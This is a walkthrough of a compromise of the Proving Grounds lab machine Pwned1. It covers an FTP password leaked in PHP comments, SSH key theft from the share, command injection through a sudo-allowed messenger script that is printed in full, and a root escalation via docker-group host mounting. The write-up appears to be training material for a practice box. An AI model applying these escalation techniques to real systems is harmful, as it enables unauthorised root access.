Pwned1 Writeup - Proving Grounds
Created October 8, 2026 • Last updated October 8, 2026 • 1 min read
Pwned1 leaks FTP credentials through a commented-out snippet in a disclosed web page, and the FTP share holds an SSH private key for the user ariana. A sudo rule on a message-sending script lets commands be injected as selena, who sits in the docker group, and mounting the host filesystem through a container gives root.
Reconnaissance
Nmap
Scan the target for open services.
PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http
Nothing stands out on the web root, but robots.txt points at a hidden path.
Web enumeration
Check robots.txt for disallowed paths.
User-agent: * Allow: /nothing Allow: /hidden_text
/hidden_text directory-lists a wordlist file, which can be used to brute force further paths.
//pwned.vuln (Status: 301)
Explain command
| -w | Wordlist to brute force with. |
The only hit, /pwned.vuln, leaks credentials in a commented-out line of PHP source.
<?php
...
// if ($un=='ftpuser' && $pw=='$FTPUSER_PASSWORD') {
...
Exploitation
FTP credential disclosure to SSH key theft
Log in to FTP with the leaked credentials.
Name: ftpuser Password: $FTPUSER_PASSWORD 230 Login successful. ftp> cd share ftp> ls -rw-r--r-- 1 0 0 2602 Jul 09 15:05 id_rsa -rw-r--r-- 1 0 0 75 Jul 09 17:41 note.txt
The share holds a private SSH key and a note that conveniently names the account it belongs to.
Wow you are here ariana won't happy about this note sorry ariana :(
ariana@pwned:~$ id uid=1000(ariana) gid=1000(ariana) groups=1000(ariana),24(cdrom),25(floppy),29(audio)
Explain command
| -i | Use this private key for authentication. |
Shell as ariana. Check sudo rights next.
Privilege Escalation
Sudo script command injection
Ariana may run a messenger script as another user.
User ariana may run the following commands on pwned:
(selena) NOPASSWD: /home/messenger.sh
Explain command
| -l | List the commands the current user may run with sudo. |
#!/bin/bash
clear
echo "Welcome to linux.messenger "
users=$(cat /etc/passwd | grep home | cut -d/ -f 3)
echo "$users"
read -p "Enter username to send message : " name
read -p "Enter message for$name :" msg
echo "Sending message to$name "
$msg 2> /dev/null
echo "Message sent to$name :) "
The script runs the message text as a command. Supplying /bin/bash as the message spawns a shell as selena.
Enter username to send message : whatever Enter message for whatever :/bin/bash id uid=1001(selena) gid=1001(selena) groups=1001(selena),115(docker)
Selena belongs to the docker group, which is effectively root: mounting the host filesystem into a container exposes everything.
Docker group to root
Check available images, then mount the host root into one of them.
REPOSITORY TAG IMAGE ID CREATED SIZE privesc latest 09ae39f0f8fc 2 months ago 88.3MB debian wheezy 10fcec6d95c4 18 months ago 88.3MB
# ls -al /host/root/.ssh -rw-r--r-- 1 root root <snip> authorized_keys
Explain command
| -v /:/host | Bind-mount the host's root filesystem into the container. |
With the attacker's public key dropped into root's authorized_keys, SSH logs straight in as root.
root@pwned:~# id uid=0(root) gid=0(root) groups=0(root)
Related
References
-
Docker Engine securityDOCS: Docker Engine security, docs.docker.com/engine/security/#docker-daemon-attack-surface (opens in new tab)
Why membership of the docker group is equivalent to root on the host.